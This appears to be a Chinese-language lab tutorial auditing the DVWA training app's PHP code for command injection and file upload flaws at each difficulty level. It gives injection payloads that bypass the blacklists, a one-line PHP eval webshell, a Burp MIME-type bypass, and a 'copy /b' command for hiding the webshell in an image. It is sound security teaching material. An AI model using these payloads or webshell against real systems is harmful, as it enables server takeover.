文章目录
前言
DVWA是一款基于PHP和mysql开发的Web靶场训练平台。DVWA 一共包含了十个攻击模块,分别是:Brute Force(暴力破解)、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境。
本文主要是针对命令注入漏洞的PHP代码层面进行讲解。
1. 命令注入漏洞审计
1.1 Low
1.1.1 源代码
Command Injection Source
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{
$cmd}</pre>";
}
?>
1.1.2 代码审计
服务器通过GPC方式获取一个IP地址,将它赋值给$target
变量。
命令将 ping
和 $target
进行拼接。
使用 shell_exec()
运行拼接后的命令。
1.1.3 漏洞利用
ping 127.0.0.1 && whoami
ping 127.0.0.1 || whoami
1.2 Medium
1.2.1 源代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{
$cmd}</pre>";
}
?>
1.2.2 代码审计
设置了黑名单,&&
和;
。
根据黑名单,对$target
变量进行过滤。
下面是代码的不足问题:
1.输入验证不足:
代码尝试使用 str_replace
函数过滤掉特定字符(如 &&
和 ;
),但这不是一个全面的解决方案。攻击者可以利用其他绕过方法,如使用 Unicode 编码或其他变体字符。
2.命令注入:
即使代码在某种程度上尝试清理输入,仍然存在命令注入风险。攻击者可以通过输入特殊字符或者恶意构造的 IP 地址来试图执行其他系统命令。
3.shell_exec
使用不当:
shell_exec
执行命令并返回其输出,可能会在某些情况下暴露敏感信息或允许恶意用户执行不受限制的命令。
4.不安全的 $_REQUEST
使用:
使用 $_REQUEST
来获取用户输入并进行操作可能导致不必要的风险。使用 $_POST
或 $_GET
更加明确。
1.2.3 漏洞利用
127.0.0.1 & whoami
因为黑名单只过滤掉了&&
和;
,所以我们只需要用其他的连接符就可以直接注入成功。
1.3 High
1.3.1 源代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{
$cmd}</pre>";
}
?>
1.3.2 代码审计
与medium一样采用黑名单过滤的方式,设置了&
、;
、|+
、-
、(
、)
、反引号、||
。
以下是代码的不足问题:
1.输入验证不足:
尽管代码对输入进行了一些字符过滤,但这并不能有效地防止所有类型的命令注入攻击。攻击者可以通过更复杂的绕过技术,绕过这些简单的替换。
2.命令注入风险:
shell_exec
直接将用户输入用于构造系统命令。如果攻击者能够构造特殊的输入,仍然可能进行命令注入攻击。
3.不必要的字符替换:
替换特定字符并不总是有效。字符替换可能无法阻止所有的注入攻击,并且它也可能影响到合法的 IP 地址或主机名。
4.不安全的 $_REQUEST
使用:
$_REQUEST
包含来自 $_GET
、$_POST
和 $_COOKIE
的数据。最好明确使用 $_POST
或 $_GET
来获取用户输入。
1.3.3 漏洞利用
127.0.0.1|whoami
还是一样,仔细查看可以发现|
,过滤时后面有一个空格,所以我们只需要不加空格就可以进行注入。
1.4 Impossible
1.4.1 源代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{
$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
2. 文件上传漏洞审计
2.1 Low
2.1.1 源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{
$target_path} succesfully uploaded!</pre>";
}
}
?>
2.1.2 代码审计
$_FILES[ 'uploaded' ][ 'tmp_name' ]
:文件缓存的路径。
$target_path
:文件存储的目标路径。
没有做上传文件限制,可以直接进行上传php文件。
2.1.3 漏洞利用
准备一个一句话木马文件:
yjh.php
<?php
@eval($_REQUEST[777]);
?>
将写好的yjh.php
进行上传,显示上传成功。
然后我们就可以连菜刀进行控制了。
2.2 Medium
2.2.1 源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{
$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
2.2.2 代码审计
代码对上传文件的类型(使用$_FILES['uploaded']['type']
来验证文件类型)、大小做了限制(使用$_FILES['uploaded']['size']
来限制文件大小),要求文件类型必须是jpeg或者png,大小不能超过100000B。
2.2.3 漏洞利用
创建一个.jpg
文件,然后使用burp修改。
接着点击Forward 进行发送就可以发送成功了。
2.3 High
2.3.1 源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{
$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
2.3.2 代码审计
代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
2.3.3 漏洞利用
因为强制限制了文件类型,所以就需要制作图片马了。
制作图片吗可以通过文本方式和cmd命令两种方式来完成。
1.文本方式
使用文本编辑器打开图片文件,将一句话木马加上去。
这里我打开了一个豌豆射手的图片,将php代码加了上去。
2.cmd命令
copy 图片文件/b+php脚本文件/a 新生成的图片文件
/a
:通过二进制方式打开,放置在脚本文件后。
/b
:通过ASCII编码方式打开,放置在图片文件后。